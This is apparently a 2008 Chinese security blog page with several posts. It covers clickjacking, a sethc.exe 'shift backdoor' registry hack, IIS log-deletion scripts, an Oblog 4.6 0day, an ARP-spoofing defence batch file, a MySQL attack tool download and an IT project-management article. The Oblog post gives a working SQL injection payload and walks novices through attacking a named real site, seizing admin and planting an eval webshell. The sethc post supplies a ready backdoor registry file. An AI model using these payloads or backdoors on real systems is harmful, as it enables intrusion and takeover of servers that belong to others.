点击劫持(Clickjacking)漏洞技术内幕

2008年10月13日 没有评论 72 views

Clickjacking是OWASP_NYC_AppSec_2008_Conference的一个保密的议题,以下是一些攻击的描叙:

  当你访问一个恶意网站的时候,攻击者可以控制你的浏览器对一些链接的访问,这个漏洞影响到几乎所有浏览器以及所有版本的Flash等浏览器相关的第三方软件,除非你使用lynx一类的字符浏览器。

  这个漏洞与JavaScript无关,即使你关闭浏览器的JavaScript功能也无能为力。事实上这是浏览器工作原理中的一个缺陷。一个恶意网站能让你在毫不知情的情况下点击任意链接,任意按钮或网站上的任意东西。

  该漏洞用到DHTML,使用防frame代码可以保护你不受跨站点攻击,但攻击者仍可以强迫你点击任何链接。你所做的任何点击都被引导到恶意链接上,所以,那些Flash游戏将首当其冲。

  最近国外的安全研究人员已经放出了该漏洞的攻击例子,以及部分细节,这种攻击是利用的CSS样式表的网页渲染功能配合IFRAME帧框架页进行的一种钓鱼网页攻击。这个攻击涉及网页设计相关的技巧,步骤是:

  1.在第三方站点的网页先用IFRAME引入一个需要攻击的页面,将这个引入的框架页长宽设置成整个浏览窗口的大小。

  2.在网页中使用一个CSS滤镜,将整个网页用白色滤镜遮蔽。

  3.使用span或div设计一个层伪造一个表单提交按钮、输入框或者链接,然后利用CSS样式表设置层在网页中的位置,遮蔽住需要劫持的网页按钮、输入框或者链接。

  攻击者使用这种方法可以制作钓鱼网页,诱导用户在不察觉的情况下,完成一些受攻击WEB程序的敏感操作。

漏洞危害:

  攻击者可以制作一个精美的钓鱼网页,让用户在不知不觉中被控制摄像头,或完成密码修改、网银转帐等的恶意操作,给用户造成巨大的损失。

黑客攻击视频:

 

Flash Player File
分类: 技术文章 标签:

sethc.exe新的镜像劫持技术和安全防御!(shift后门)

2008年10月13日 没有评论 178 views

今天群里朋友发我个shift后门,带镜像劫持的,可以按5下shift,然后输入密码.
5下shift → 不关闭 → 然后鼠标右键点出来的那个框框右下角...
前提是先运行个p处理或reg,这个方法比较牛X..
注册表如下

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe]
"Debugger"="C:\\www.winshell.cn.exe"

这个exe存的路径是:c:\\www.winshell.cn.exe

 

-----------------------------------------------------以下是安全设置---------------------------
知道上边原理:就可以设置安全了....
在服务器里按5下shift,出设置把所有的对号去掉.
删除所有文件安全设置下用户,加everyone设置全部拒绝
C:\WINDOWS\system32和C:\WINDOWS\system32\dllcache的sethc.exe
修改注册表权限,同上.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe

 

分类: 技术文章 标签:

IIS日志清理专题,CMD版,VBS版,JS版,WSH版

2008年10月13日 没有评论 95 views

IIS日志清理CMD版:跟 据当前时间计算出前N天的日期,比如今天是:2007-11-16,前60天的日期就是2007-9-16(程序可以自动识别30天或31天或润月),然 后再处理成20070916这样的格式,然后再组合成ex070916.log这样的IIS日志文件格式,这样一来我们就得到的要清理的日志文件名然后, 我们再使用del /s /f d:\iislog\ex070916.log 来清除日志所在文件夹目录及子目录下的所有这个文件名的文件了,从而清除志,但这个仅仅是清除一天的日志,所以我们还得把这个批处理加到计划任务里,让它 每天定时执行,这样一来,所有的计算机的日志问题我们就可以不用管了。

IIS日志清理VBS版:VBS版理论是没有iis版快,因为他还要借助脚本驱动,而不像cmd版直接使用dos系统的批处理功能快(猜的),VBS毕竟是高级语言,处理日期的能力用一句话就实现了,而CMD版得写半页。IIS日志清理VBS版的 实现用VBS遍历IIS日志所在目录下的所有文件,及文件夹,然后取文件名组合成日期型的,然后当前日期-这个日期,看看是不是超过了设定的天数,超过的 话delete,这种思路有个好处就是一次可以清除N天前的所有记录,而不是只是一天的,他可以你CMD版日志清理一样,把这个脚本写到计划任务里,天天 运行,也可以过一段时间手动运行一次。这个代码明显比IIS日志清理CMD版少了。

IIS日志清理JS版:这个版其实与IIS日志清理VBS版差不了多少,思路都是一样的,只是使用的脚本语言不一样而已,还有就是调用时的两个参数里的每一个参数:目录,这个目录得写成:D:\\iislog,以前都用vbs还当主要脚本,这次主要是要学C#了,听说这两种语言都差不多,正好也练习下,也没花多少时间。

IIS日志清理WSH版:WSH版其实是最简单的,因为他的集成化程度很高,操作过程是这样的:使用vbs或js生成要处理的文件的文件名,然后再使用WScript.Shell执行cmd命令来处理,利用了IIS日志清理CMD版及IIS日志清理VBS版的 优点,这个也是一次只能处理一天的日志,当然您也可以把它改成处理多天的日志。正因为WSH集成化程度高,可以执行很多操作,所以黑客们都很喜欢这个,用 的最多的也就是WScript.Shell,所以一般安全意识比较高的服务器提供商都会把这个组件给禁用掉,这样一来,这个最好用的功能就变成了最不能使 用的,通用性最差的了。

实例代码:

IIS日志清理CMD版代码(DelIISLog.cmd):

@echo off
title Made by www.yongfa365.com
::设置当前日期前多少天或后多少天
set/a beforedays=-3
::设置目录所在位置
set   dir="F:\log\"
::当前日期转换为天数并进行计算
call :Date2Day %date:~0,10% days
set/a days=%days%%beforedays%
call :Day2Date %days% lastdate
::计算完毕,生成想要的字符组合
set okstr=ex%lastdate:~2,6%.log
::删除这些文件
del del /f /s /q %dir%\%okstr%

cmd /k

:Date2Day
setlocal ENABLEEXTENSIONS
for /f "tokens=1-3 delims=/-, " %%a in ('echo/%1') do (
set yy=%%a & set mm=%%b & set dd=%%c
)
set /a dd=100%dd%%%100,mm=100%mm%%%100
set /a z=14-mm,z/=12,y=yy+4800-z,m=mm+12*z-3,j=153*m+2
set /a j=j/5+dd+y*365+y/4-y/100+y/400-2472633
endlocal&set %2=%j%&goto :EOF

:Day2Date
setlocal ENABLEEXTENSIONS
set /a i=%1,a=i+2472632,b=4*a+3,b/=146097,c=-b*146097,c/=4,c+=a
set /a d=4*c+3,d/=1461,e=-1461*d,e/=4,e+=c,m=5*e+2,m/=153,dd=153*m+2,dd/=5
set /a dd=-dd+e+1,mm=-m/10,mm*=12,mm+=m+3,yy=b*100+d-4800+m/10
(if %mm% LSS 10 set mm=0%mm%)&(if %dd% LSS 10 set dd=0%dd%)
endlocal&set %2=%yy%%mm%%dd%&goto :EOF
IIS日志清理VBS版代码(DelIISLog.vbs):

'IIS日志清理VBS版代码(DelIISLog.vbs)  Made by www.yongfa365.com
'调用方法:DelIISLog "IIS日志所在路径",保留多少天的IIS日志

'遍历IIS日志文件夹下的所有文件及子文件夹下的文件
Function DelIISLog(IISLogPath,KeepDays)
on error resume next
Set oFso = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFso.GetFolder(IISLogPath)
Set oSubFolders = oFolder.SubFolders  '得到该目录下所有的文件夹的集合
Set oFiles = oFolder.Files '得到该目录下所有的文件的集合
'第一步处理当前目录下的所有文件
For Each oFile In oFiles '遍历所有文件
if right(oFile.name,3)="log" then
oDate=cdate("20" & mid(oFile.name,3,2) & "-" & mid(oFile.name,5,2) & "-" & mid(oFile.name,7,2))
if date-oDate > KeepDays then oFile.delete '判断是不是要处理的IIS日志文件,如果是的话直接删除
end if
Next
'第二步处理当前目录下的所有目录,进行递归调用
For Each oSubFolder In oSubFolders
DelIISLog oSubFolder.Path,KeepDays '递归
Next

End Function

DelIISLog "D:\IISLogTest",20 '遍历
IIS日志清理JS版代码(DelIISLog.js):

//IIS日志清理JS版代码(DelIISLog.js)  Made by www.yongfa365.com
//调用方法:DelIISLog("IIS日志所在路径",保留多少天的IIS日志);

//遍历IIS日志文件夹下的所有文件及子文件夹下的文件
function DelIISLog(IISLogPath,KeepDays){
var fso = new ActiveXObject("Scripting.FileSystemObject");
var f = fso.GetFolder(IISLogPath);
var Folders = new Enumerator(f.SubFolders); //得到该目录下所有的文件夹的集合
var Files = new Enumerator(f.Files); //得到该目录下所有的文件的集合
//第一步处理当前目录下的所有文件
for (; !Files.atEnd(); Files.moveNext()) {
var fileName = Files.item().name;
var year = "20" + fileName.substr(2, 2);
var mouth = fileName.substr(4, 2);
var day = fileName.substr(6, 2);
var days = Math.round(((new Date()).getTime() - Date.UTC(year, mouth - 1, day)) / 1000 / 60 / 60 / 24);
if (days > KeepDays) Files.item().Delete(); //判断是不是要处理的IIS日志文件,如果是的话直接删除
}
//第二步处理当前目录下的所有目录,进行递归调用
for (; !Folders.atEnd(); Folders.moveNext()) {
DelIISLog(Folders.item(),KeepDays);
}
}
//调用函数,比如:"F:\\log",5  或 "C:\\windows\\system32\\LogFiles",5
DelIISLog("D:\\IISLogTest",2);
IIS日志清理WSH版代码(DelIISLog.wsf):

<job id="IIS日志清理WSH版代码(DelIISLog.wsf) Made by www.yongfa365.com">
<script language="vbscript">
'作者:柳永法(yongfa365)'Blog
'修改:2007-11-15
'操作说明:此文件只能清除一天的日志,得使用计划任务让其每天执行一次,因为服务器上一般都禁用WScript.Shell,所以不推荐使用
Function DelIISLog(IISLogPath,beforedays)
&n
bsp;  d=Now-beforedays
If Right(IISLogPath,1) <> "\" Then IISLogPath=IISLogPath & "\"
p= IISLogPath & "ex" & Right(Year(d),2) & Right("0" & Month(d),2)  & Right("0" & Day(d),2)  & ".Log"
Set WshShell = WScript.CreateObject("WScript.Shell")
wscript.echo p
WshShell.Run ("cmd.exe /c del /s " & p)
Set WshShell = Nothing
End Function

DelIISLog "D:\IISLogTest",2
</script>
</job>
有时我拿到别人的代码时我得写一堆东西来测试,现在这个如果让您去测试的话,您不会直接在服务器上测试吧,所以,以下再贴出本人柳永法的测试脚本,主要是在D盘生成一个测试文件夹,及一些IIS测试日志文件,

IIS日志清理之IIS日志生成系统(CreateIISLog.vbs):

'IIS日志清理之IIS日志生成系统(CreateIISLog.vbs)  Made by www.yongfa365.com
'创建文件夹
Function CreateFolder(Folder)
On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")
FSO.CreateFolder(Folder)
If Err>0 Then
Err.Clear
CreateFolder = False
Else
CreateFolder = True
End If
End Function
'创建文件
Function CreateFile(FileName, Content)
On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")
Set fd = FSO.CreateTextFile(FileName, True)
fd.WriteLine Content
If Err>0 Then
Err.Clear
CreateFile = False
Else
CreateFile = True
End If
End Function

CreateFolder "D:\IISLogTest"
CreateFolder "D:\IISLogTest\IISLogs001"
CreateFolder "D:\IISLogTest\IISLogs002"
CreateFolder "D:\IISLogTest\IISLogs003"
for i=1 to 30
d=date-i
filename="ex" & right(year(d),2) & right("0" & month(d),2) & right("0" & day(d),2) & ".log"
CreateFile "D:\IISLogTest\" & filename,Content
CreateFile "D:\IISLogTest\IISLogs001\" & filename,Content
CreateFile "D:\IISLogTest\IISLogs002\" & filename,Content
CreateFile "D:\IISLogTest\IISLogs003\" & filename,Content
next
后记:这个方法不仅可以用在IIS日志处理方面,还可以用在处理Serv-U的日志处理,前提条件是Serv-U的日志文件的格式也得设成像IIS日志这样的格式ex071115.log。

 

分类: 技术文章 标签: ,

Oblog4.6 的0day

2008年10月13日 没有评论 67 views

自从上次oblog的tb.asp和js.asp文件出现漏洞后,直至今日oblog都没有爆出什么安全问题,前些日子官方发布了4.6稳定版,趁着无聊下下来看看代码的安全性,没想到还真的发现了一些问题。后来联系了oblog的客服,可是在qq上验证了几次人家也没有理我,没办法,那就只能发出来了。

      我们先来简单分析一下漏洞的成因:漏洞出现在user_diggs.asp文件第304行左右,用Request获得topic的值,然后用oblog.InterceptStr处理后赋给topic。oblog.InterceptStr的作用只是截断字符而已,并没有过滤特殊字符。接着往下看,在第316行就直接把topic放到了SQL语句里进行了数据库操作,这样漏洞就形成了。4.6版的ACCESS和SQL 都存在这个问题,但是因为变量所在的SQL语句是update,所以我们并不能用union来联合暴出密码,唯一的方法就只有用“;”来执行多语句,而ACCESS并不支持多语句,因此漏洞只影响到SQL版本。

      接下来是小菜们最关心的问题:怎么利用这个漏洞。我们先注册一个用户随便发篇日志。然后到自己的首页去推荐这篇日志,就是在图中 “推荐”处点击一下。接着回到用户管理后台,点击常用菜单里的“推荐日志”,就会看到刚才我们推荐的日志,我们把鼠标放到“修改”上,会看到推荐日志的id,这里的id是2。接着点击“修改”,在摘要里写入下面这个语句:

     s’/**/WHERE/**/logid=2;update/**/oblog_user/**/set/**/useremail=’竹子’/**/where/**/username=’lovewin2k’;--

      这是一个简单的SQL语句,我对它稍做一些解释:其中的s’是为了和前面的’闭合。/**/是注释符,作用是用来代替空格。Logid=2中的2是刚才我们看到的日志id。然后用一个分号结束这一语句,接着是一个新的SQL语句,update/**/oblog_user/**/set/**/useremail=’竹子’/**/where/**/username=’lovewin2k’;--的意思是把oblog_user表里username等于lovewin2k的useremail更改为竹子。单击“确认修改”后提示修改成功。我们去验证一下,看看自己个人资料里的邮箱是不是真的被改成了竹子,可以看到确实已经被更改成了竹子。

      接下来我们在网上找个oblog实战一把,先说说如何查找4.6SQL版的oblog。我们先在百度里查找关键字“Copyright by oblog.cn”,然后随便打开一个blog,在主页后面添加ver.asp来查看版本,比如我在这里找的是http://www.zuliao365.com/blog,那就应该通过 http://www.zuliao365.com/blog/ver.asp来查看当前oblog的版本。如果是SQL版的那我们就可以打开利用工具,在目标主机里填写blog主页的地址,如: http://www.zuliao365.com/blog /index.html,点击“浏览”并用注册的用户登录以获得cookie。然后在用户名和密码里填写你要添加的管理员名字和密码,我这里添加一个用户名是竹子,密码是123456的管理员,日志id填写你自己所推荐日志的id。单击“发送”提示发送成功。我们访问后台http://www.zuliao365.com/blog/ admin/admin_login.asp,尝试用刚刚添加的管理员登录后台,果然成功登录。

      我们当然不会仅仅满足于做个管理员,既然利用的版本是SQL的,那我们就直接用日志备份来获得webshell。单击后台里的“服务器组件配置”,如图9。在“站点物理地址”处可以看到网站的路径,记下来,等会备份的时候要把一句话木马备份到这里,这里是:e:\wwwroot\zuliao\wwwroot。接着在工具的下拉框里选择“更新库名到Email”,“注册用户名字”填写你在blog里注册的用户名字,单击“发送”,我们去个人资料里看看Email里的内容吧!选择“综合设置”中的“用户设置”看到库名已经被更新到了Email里了,我这里获得的库名是sq_zuliao,如图10。继续在工具的下拉框选择“备份数据库获得shell”,然后在库名和路径分别填写刚才我们获得的sq_zuliao和e:\wwwroot\zuliao\wwwroot \test.asp,test.asp是你自己一句话木马的文件名,单击“发送”,如图11。默认备份的一句话木马是海洋的<%eval request("#")%>,我们用海洋客户端连接 http://www.zuliao365.com /test.asp看看是否备份成功,可以看到我们已经成功获得了webshell,如图12。接下来该如何提升权限就看各位大显神通了。

关于如何修补漏洞的问题,把存在漏洞的语句

des = oblog.InterceptStr(RemoveHtml(Trim(Request("edit"))),255)

topic = oblog.InterceptStr(Trim(Request("topic")), 255)

替换成

des = oblog.filt_badstr (oblog.InterceptStr(RemoveHtml(Trim(Request("edit"))),255))

topic = oblog.filt_badstr (oblog.InterceptStr(Trim(Request("topic")), 255))

就可以了。

 

分类: 技术文章 标签:

Linux内核2.6.27正式到来

2008年10月13日 没有评论 55 views

根据Linux创始人Linus发出的信函显示,Linux内核已经正式升级至2.6.27。而他的信函同时也显示了Linux系统的不断前进的过程,一点一滴的积累,众多爱好者不断的参与,才会有今天的Linux操作系统。

Linus在信中写道:

“在2.6.27 RC9之后没有太多的改动,这是一件好事。我当然不希望在正式发布之前任何的变动。而且我也不想让很多人去看修正列表。我认为,我们现在已经到了一个相当不错的状态。我可不想让发布新闻稿延期。

RC9之后的改动确实非常小。我怀疑很多人会关注修正列表,和往常一样,如果你想了解自2.6.26之后的所有变化,去看完全版的更新日志。不过更容易阅读的版本可以参阅这里

更重要的是,这些内容已经通过了测试。不过如果你是个坏男孩(女孩),根本没参与RC测试,那你还是看看吧。”

据悉此次2.6.27内核升级增加了新的文件系统UBIFS,此文件系统专门针对纯闪存存储装置,另外,大大改善了Direct I/O的可扩展性和性能,ext4的延迟问题得到解决,同时增加队列网络功能,数据完整性检查,MMIO追踪器,改进摄像头的兼容性。支持Intel 5000系列WiFi网卡、支持RTL8187B网卡、增加Atheros AR5008和AR9001的驱动程序。其他驱动程序也获得了相应的增加。

分类: 业界资讯 标签:

虚拟网关解决ARP攻击

2008年10月13日 没有评论 118 views

今天VBS群里有人要了解ARP攻击,ARP攻击盛行于局域网,找了这个BAT,对付ARP攻击。

网上流行一个vbs的虚拟网关,也有斯普林的程式的,这个是批处理,加开机批处理,爽到不行了!

@echo off

FOR /F "usebackq eol=; tokens=2 delims=:" %%I in (`ipconfig /all^|find /i "IP Address"`) do set IP=%%I

FOR /F "usebackq eol=; tokens=2 delims=:" %%I in (`ipconfig /all^|find /i "Physical Address"`) do set MAC=%%I

’第一行是读取本机的IP地址,第二行是读取本机的MAC地址

Set /a a=%RANDOM%/128

Set /a b=%RANDOM%/128

Set IPhead=172.16

Set GatewayIP=%IPhead%.%a%.%b%

’这四行是生成一个172.16开头的随机网关IP地址

我自己的内网网段为172.16.0.0,所以设成这样

(若想生成192.168.1.X网段的IP,可改成如下

Set /a a=%RANDOM%/128

Set IPhead=192.168.1

Set GatewayIP=%IPhead%.%a%

若想限制生成的随机IP范围在192.168.1.100-192.168.1.255之间,可改成如下

:start

Set /a a=%RANDOM%/128

IF %a% LEQ 100 goto start

’这样就可以限制a比100大

’EQU - 等于,NEQ - 不等于,LSS - 小于,LEQ - 小于或等于,GTR - 大于,GEQ - 大于或等于

’要限制在其他范围的话,自己改一下代码吧

Set IPhead=192.168.1

Set GatewayIP=%IPhead%.%a%

Set GatewayMAC=00-0f-e2-3e-b6-66

’这里的是真实的网关MAC地址

arp -d

arp -s %IP% %MAC%"

’静态绑定本机IP和本机MAC地址

arp -s %GatewayIP% %GatewayMAC%"

’静态绑定随机生成的网关IP和真实的网关MAC地址

route delete 0.0.0.0

route add 0.0.0.0 mask 0.0.0.0 %GatewayIP% metric 1

’删除原先的默认路由,定义默认路由指向随机生成的网关IP

4.手动修改网内所有PC的网关地址为一个不存在的IP

如果更换了网关设备,你只需改动Server服务器中的脚本即可,不用到每台客户机去修改

原理简单分析:

PART I.ARP病毒攻击手段一是向网内其它PC谎称“网关IP地址对应的MAC地址是aa-bb-cc-dd-ee-ff”;

例:PC1骗PC2、PC3说“网关192.168.1.1的MAC地址为11-11-11-11-11-11”,192.168.1.1是PC1用IPCONFIG命令查看到的网关地址,PC2、PC3信以为真,在各自的ARP表中添加一个ARP条目“192.168.1.1 11-11-11-11-11-11”,但是PC2、PC3上网的网关地址并不是192.168.1.1,而是随机生成的那个IP地址,所以即使受骗了也不要紧,依然可以正常上网;

ARP病毒攻击手段二是向网关谎称“PC1的MAC地址是bb-cc-dd-ee-ff-gg”,“PC2的MAC地址是cc-dd-ee-ff-gg-hh”之类;

例:PC1骗网关地址192.168.1.1说“PC2的MAC地址为22-22-22-22-22-22”,但192.168.1.1是随便改的一个不存在的IP地址,所以不会有机器上当受骗

PART II.默认路由里指向的网关MAC地址正确,就确保了所有发向外网的数据包可以顺利发送到真实的网关;

总结:

理论上说,用上面的方法去绑定所有的客户机(注意要一台不漏喔),不在路由上绑也是可以的;实践中还要等你测试过之后跟我说效果;

有条件的话,最好在路由或者交换机里面绑定所有客户机的IP和MAC,这样ARP欺骗应该就可以完美解决的了.

 

分类: 技术文章 标签:

MySQLhack

2008年10月12日 没有评论 135 views

来源:T00LS

MySQL 利用工具.
连接对方的MySQL后,可以上传文件,执行dos命令.以及下载文件并运行.

软件需要 Microsoft .NET Framework 2.0 支持
无法打开软件请安装 Microsoft .NET Framework 2.0
Microsoft .NET Framework 2.0 下载地址:
http://www.microsoft.com/downloads/details.aspx?FamilyID=0856eacb-4362-4b0d-8edd-aab15c5e04f5&displaylang=zh-cn

下载地址:mysqlhack.zip

上图:

分类: 资源共享 标签:

IT项目管理常犯的14个错误

2008年10月12日 没有评论 72 views

Meridith Levinson 沈建苗 编译

有IT行业咨询师表示,只有29%的IT项目能最终成功地完成。这不是什么危言耸听,因为一些同样的项目管理错误,总是在不同的地点、不同的时间被重复。
将近70%的IT项目会超出预算或者是延期完成,究其原因,往往是缺乏良好的计划、通畅的内部沟通,以及合理的资源分配。
许多IT项目管理顾问和软件提供商经常抱怨,“甲方”总是一再犯下相同的错误。不是IT小组没有遵守标准的项目管理流程,就是没有相应的人员来开展项目,或者没有评估有可能危及项目的风险,也没有确定缓解这些风险的办法等等。诸如此类的错误还有一大堆,足以“致命”。
有业内人士指出,若能避免这些最常见的IT项目管理陷阱,不但会提高项目的成功率,还能提高内部客户的满意度,业务部门也会成为受益者。一个按时、按预算交付的系统,必将提升业务部门的竞争力。
本文列出的14个最常见的项目管理错误,将有助于发现IT项目在哪些环节易出现问题,以便采取某些措施来加以改进。

第1个错误  缺乏拥有相应技能的技术人员。

影响: 资源配置不当名列最常见项目管理错误的首位。要是没有为项目配置相应的人员,会毁了项目。
办法: 项目管理软件厂商Primavera的CEO Joel Koppelman说: “成功完成项目的关键就是找到具有相应技能的技术人员,再全面的规划也解决不了人手不足的问题。”IT和项目经理需要完全了解项目所有相关人员的技能和工作量,其中包括顾问、承包商和外包商。因为即便他们从事的工作占到了总量的很大一部分,技能评估环节也常常会忽视这群人。另外,IT和项目经理知道了谁在从事什么工作以后,还要弄清楚如何针对众多项目和日常工作来分配资源。
IT基础设施咨询公司GlassHouse Technologies的创办人Richard Scannell说: “虽然项目管理方面有多种组织模式,但运作起来都不咋样。没有简单的办法可以解决资源分配问题。协调好人员和项目的潜在办法就是任命资源经理来负责为每个项目指派人员,并确保人员合理分配到了诸个项目上。”
Scannell建议成立“专家小组”,专家小组的成员专门从事某个特定项目,在一年或者更长的时间内不用承担其他传统的工作职责。
惠普公司软件部门项目组合管理中心的Ken Cheney也建议,应针对项目而不是针对某项任务来分配资源。
Cheney表示,如果很难为项目配备足够人员,那么取消“可自由支配的”项目(比如与业务战略不是紧密相关的项目),也许能腾出一些资源。另外,他建议分析IT人员正在从事的全部项目组合,剔出一些不是很要紧的项目,以减少人员配备。

第2个错误  缺乏经验丰富的项目经理。

影响: 要是没有合适的项目经理来掌舵,项目很快就会失去控制。
办法: 聘请拥有管理资质的项目经理。
冠群公司北美区服务副总裁Matthew Strazza表示,优秀的项目经理要具备过硬的“软”技能,他们要知道如何让会议顺利进行、管理风险以及如何应对不同利益相关者,其中包括关注功能的业务人员、注重系统安全的IT人员,以及担心预算的财务人员。“如果你没有解决好财务问题,没有管理好每周的预算,没有通知客户所发生的任何变化,很快就会遇到麻烦。” Strazza说。
另外他补充说,优秀的项目经理还要具备技术专长,熟悉所部署的任何一项技术。

第3个错误 IT部门没有一套标准且可重复的项目管理流程。

影响: 缺乏一套方法会加大项目风险,会忽视与项目相关的任务,最后项目可能不得不推倒重来,以至于项目无法按时按预算完成。
办法: 一套管理方法可以有效管理项目,并且让项目的参与者清楚明白地执行项目有关的所有活动。
项目组合管理解决方案提供商Métier的CEO Douglas Clark建议制订可重复的流程,用于确定范围、安排进度、分配资源及与利益相关者之间的沟通。他说:“这些是需要首先掌控的方面,因为它们可能会给你带来最大的回报。”

第4个错误  IT部门受制于僵硬的程序。

影响: 过于僵硬的程序使项目团队缺乏灵活性,而缺乏灵活性让利益相关者觉得沮丧。
办法: 保持灵活,并与项目发起人和利益相关者进行沟通。
纽约市咨询公司Intellilink Solutions的总经理Fumi Kondo曾经看到过软件开发人员与项目经理之间的一次交流,“开发人员告诉项目经理,不需要额外工作量,他就可以为应用软件添加额外功能。但项目经理告诉开发人员不要添加,因为用户并没有要求这些功能。如果是我自己,我会去跟用户多沟通,看看这些功能是否有用,只要不影响预算或者进度,提供更多的功能没什么不好。”

第5个错误 没有跟踪项目出现的变化。

影响: 项目预算激增,进度一再延迟。
办法: 遵循正规的变更请求流程。
Strazza建议,谁要求变更项目范围(比如添加特性或者功能),谁就要在范围变更文档中解释清楚具体的变更,项目经理要确定该请求对预算和进度会有何影响。项目发起人需要在范围变更请求上签字。

第6个错误 缺少项目状况方面的最新数据。

影响: 无法衡量,也就无法管理,也就无法调配资源或者应对项目范围变化。
办法: 使用相关软件。

第7个错误 忽视出现的问题。

影响: 问题是不会自行解决的。你忽视问题的时间越长,问题只会变得越严重,最终会增加项目的成本。
办法: 问题一出现,就要尽快调动尽可能多的利益相关者一起来解决问题。

第8个错误 没有花时间来确定项目范围。

影响: 如果业务和IT部门事先没有明确项目的范围,项目到头来很可能会失控。另外,IT部门也缺乏按时按预算完成项目、满足业务部门预期目标所需的明确方向。
办法: 针对定义不明确的项目,最好的办法就是拿出商业方案、确定项目范围。

第9个错误 没有看到项目之间的依赖关系。

影响: 项目不是彼此孤立的,它们常常依赖同时开展的其他项目。如果项目经理看不到项目之间的依赖关系——比如一个项目需要另一个项目的人员参与,项目进度就会耽误。这种耽误会对所有项目带来连锁反应。
办法: 项目规划期间就要考虑到项目之间的依赖关系,与利益相关者交谈,并且绘制项目的示意图,这有助于找出项目之间的依赖关系。

第10个错误 没有考虑到“墨菲定理”

影响: 一旦某些“事故”出现,就会影响到I
T部门。往往在IT部门收拾意料之外的残局时,项目已偏离了轨道。
办法: 执行风险评估,这是项目规划的一个环节。整个团队群策群力,考虑可能会发生什么事情导致项目延迟或者偏离方向,或者无法满足预期需求。然后,找到缓解这些风险的对策。
Primavera公司的CEO Koppelman说: “如果大家坐下来考虑一下潜在风险,就会列出相当多的风险。这项工作不需要很长时间,却对项目上马之前明白项目的薄弱环节大有帮助。”
Scannell举例说,曾经有一家英国企业准备把大型机搬到新的数据中心。IT小组在周六用一整天的时间来拆卸大型机,以便次日能搬到新的数据中心。周日,IT部门带着大型机在前往新数据中心的路上,遇到了游行活动,因道路封锁而到不了目的地。他们只好开车返回原来的数据中心,重新把大型机装了回去。这就是缺乏规划预案导致IT部门做不必要工作的典型案例。

第11个错误  漠视变更管理。

影响: 要是用户不采用新技术,那么为了交付新的IT功能而投入再多的时间、资金和精力,也是白费力气。
办法: 项目规划阶段,事先抽出时间考虑项目可能会在哪些方面遇到阻力,并且考虑好应对阻力的办法。还要找出哪些利益相关者的工作会受到新功能的影响,并且计划好如何向他们说明流程和工作流方面出现的变化。
应该明白,不是所有变更都是不好的。

第12个错误 项目进度计划不完整。

影响: 项目团队的成员不知道应当何时交付什么样的成果,这样一来就很难按时完成项目。
办法: 要为项目安排进度报告,一个简便的方法就是确定完成项目涉及的所有活动(比如确定范围、征集需求、进行测试及实施),然后根据项目的最后期限为这些活动确定相应的预定日期。项目管理软件有助于安排进度。

第13个错误 IT部门没有要求延长不合理的最后期限。

影响: IT部门很可能面临失败,落下无法按时交付项目的坏名声。IT部门会力求在CEO规定的项目最后期限之前完工。但不注意项目的依赖关系和总体计划只会带来更多的问题,从而更难按时交付。
办法:  IT管理人员要向CEO解释,需要多少成本和资源才能在这个最后期限之前按时完工,并且让CEO在成本、范围和进度之间进行选择。

第14个错误 与项目发起人和利益相关者没有沟通好。

影响: IT部门满足不了预期需求。如果IT部门把数千行数据描述系统功能和规格的电子表格交给业务部门,就有可能让业务部门对项目范围或者系统需求产生误解。因为业务人员没有时间去查看这么详细的技术文档。
办法: 让到时会受到影响或者参与项目的每个利益相关者都大体上了解整个项目从设计到实施的过程。重点突出需要与业务部门联系的活动,并且解释为什么需要业务部门的参与。IT部门需要投入更多的精力向业务部门介绍执行项目涉及哪些步骤。

一、知道自己要努力实现的目标。

美国奥克兰县的IT部门在1997年开始设立项目管理办公室(PMO)时,就制订了清晰的战术目标和战略目标。他们与业务合作伙伴一起有效地确定项目的优先级,并且通过技术来提高政府业务部门的效率。
设立项目管理办公室需要拿出清楚的理由,这有诸多原因。一家组织不会始终需要设立正式的项目管理办公室,如果只是希望跟踪项目,那么一个简单的项目跟踪应用软件也许就足够了。但如果想改进完成项目的方法,并且对确定项目优先级的流程拥有更大的控制权,那么运作顺畅的PMO就有助于实现这两个目标。
此外,IT部门内外很少有人会喜欢这样的想法: 一个集中部门负责审批及否决项目、报告衡量尺度,以及督促项目经理、确保项目处于正常轨道。IT员工和内部客户会对设立PMO的工作出难题。为了得到他们的支持,就要拿出确凿的理由,表明为什么需要设立PMO,又不会增强官僚主义。
设立项目管理办公室、制订相关的项目管理流程,这常常需要投入大量的时间和资金,可能需要好几年才能把这项工作做到位。有人会对此产生厌烦情绪,如果他们对设立项目管理办公室所需的时间和资金提出质疑,对此要有明确的答复。

二、获得管理人员的支持。

如果能够获得管理人员的支持,不但可以让公司的每个人都采用新的流程,还能够简化变更管理难题。
为了让项目成功,软硬件方面需要开支,需要对公司内部的人员进行培训,需要从内部改变公司文化,需要改变你所服务的客户或者合作伙伴的文化。这都需要时间和精力,要是项目执行发起人觉得把时间花在项目上不划算,设立PMD也就不会取得成功。

三、明确项目管理办公室向谁报告。

奥克兰县IT部门下设的项目管理办公室直接向CIO报告。负责IT部门的IT主管希望PMO向自己报告,那样IT部门的各个小组影响不了PMO。由于向CIO办公室报告,项目管理办公室确实成了提供项目管理
和指导服务的集中部门,确保了标准和流程变更出现在组织内部的最高层面。

四、让PMO负责流程,而不是负责惩罚措施。

PMO一定要成为大家都愿意寻求帮助的部门。如果项目经理担心PMO会告诉CIO自己没有完成工作,他就不会找PMO寻求帮助。
要IT部门打消“PMO是项目管理监督部门”的这种印象向来很难。这就是为什么要强调PMO的角色应当是流程的监管人、项目经理的指导员。PMO的作用不是向CIO报告做错的事情,而是为项目经理提供相关工具和仪表板,他们可以用来查清楚哪个项目进度落后、哪个项目按时完成、哪个项目需要加把劲。

五、选择项目管理软件。

正如需要设立项目管理办公室以便知道自己要实现的目标那样,管理者头脑中也要有清晰的最终目标,那样买来的软件才能帮助自己驶向成功彼岸。比方说,因为奥克兰县的IT部门希望内部业务客户在项目决策方面更多地扮演合作伙伴的角色,该组织需要一款工具让IT部门能够与客户更好地进行沟通。
选择项目管理软件之前,专家建议IT主管要考虑希望落实到位的项目管理流程。不管实施的是什么样的项目管理工具,它们都要支持你的流程。

